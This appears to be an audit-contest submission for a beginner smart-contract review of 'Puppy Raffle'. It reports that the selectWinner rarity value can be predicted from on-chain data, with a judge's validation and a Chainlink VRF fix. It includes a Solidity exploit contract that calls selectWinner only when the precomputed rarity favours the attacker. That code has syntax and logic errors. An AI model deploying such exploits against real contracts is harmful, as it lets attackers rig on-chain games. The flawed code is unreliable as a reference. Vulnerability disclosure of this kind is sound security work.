First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`PuppyRaffle::selectWinner` function `rarity` can be computed before calling the actual function and thus rig the game

aethrouzz

Summary

In the PuppyRaffle::selectWinner function, the rarity variable can be computed before calling the actual function and thus rig the game ratio of common/rare/legendary puppey

Vulnerability Details

A malicious contract define such as

import {IPuppyRaffle} from "path/IPuppyRaffle.sol";
​
contract Riggedrarity{
IPuppyRaffle public puppyraffle;
uint256 public constant COMMON_RARITY = 70;
​
uint256 public constant RARE_RARITY = 25;
​
uint256 public constant LEGENDARY_RARITY = 5;
​
constructor(address _targetContractAddress){
puppyraffle = IPuppyRaffle(_targetContractAddress);
}
​
function riggedWinner(uint256 _myrarity){
uint256 rarity = uint256(keccak256(abi.encodePacked(address(this), block.difficulty))) % 100;
​
if(_myrarity == 2){ //want legendary
if(rarity > 95){
IPuppyRaffle.selectWinner()
}
}
else if(_myrarity == 1) { //rare_rarity
if(95 >= _myrarity > 70){
IPuppyRaffle.selectWinner();
}
}
else{
if( _myrarity <= 70){
IPuppyRaffle.selectWinner();
}
}
}
}

would be able to call the PuppyRaffle::selectWinner function according to the rarity of the NFT to be minted.

Impact

Medium because using this exploit we can unbalance the number or legendary and rare puppey so it removes an interesting part of the application

Tools Used

read the code

Recommendations

Use of chainlink VRF number in the line to select the winnerIndex

- uint256 rarity = uint256(keccak256(abi.encodePacked(address(this), block.difficulty))) % 100;
+ uint256 rarity = uint256(keccak256(abi.encodePacked(address(this), block.difficulty, VRFnumber))) % 100;

where VRFnumber is a number generated by a Chainlink VRF(Verifiable Random Function)

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!